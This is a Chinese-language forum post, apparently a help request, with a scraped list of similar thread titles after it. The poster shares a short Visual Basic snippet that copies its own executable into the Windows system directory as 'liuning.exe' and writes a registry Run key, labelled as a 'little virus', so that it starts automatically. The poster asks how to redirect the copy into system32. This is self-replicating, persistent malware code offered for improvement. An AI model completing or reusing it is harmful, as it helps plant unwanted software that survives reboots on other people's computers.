大家帮我改一下这个VB代码

'得到系统的系统目录
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) - 1)
'自我复制到系统目录
If Not Dir(systempath & "\" & "liuning.exe") = "liuning.exe" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", systempath & "\" & "liuning.exe"
End If
'自动运行
regedit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "甯王小病毒", systempath & "\" & "liuning" & ".exe"
这个代码是只是复制到系统目录下。如果要想复制到系统目录下的windows\sysytem32应该怎么改。

大家帮我改一下这个VB代码 请帮我改一下这个代码 谁能帮我改下这个VB代码。 VB帮我看一下代码VB 请大家帮我解决一下这个vb程序!!!!!! VB帮我看一下代码 帮我修该一下vb代码 我应该怎么改一下这个代码 帮我看一下这个代码，不能粘贴呀，帮改，谢谢！ 帮我改一下这点asp代码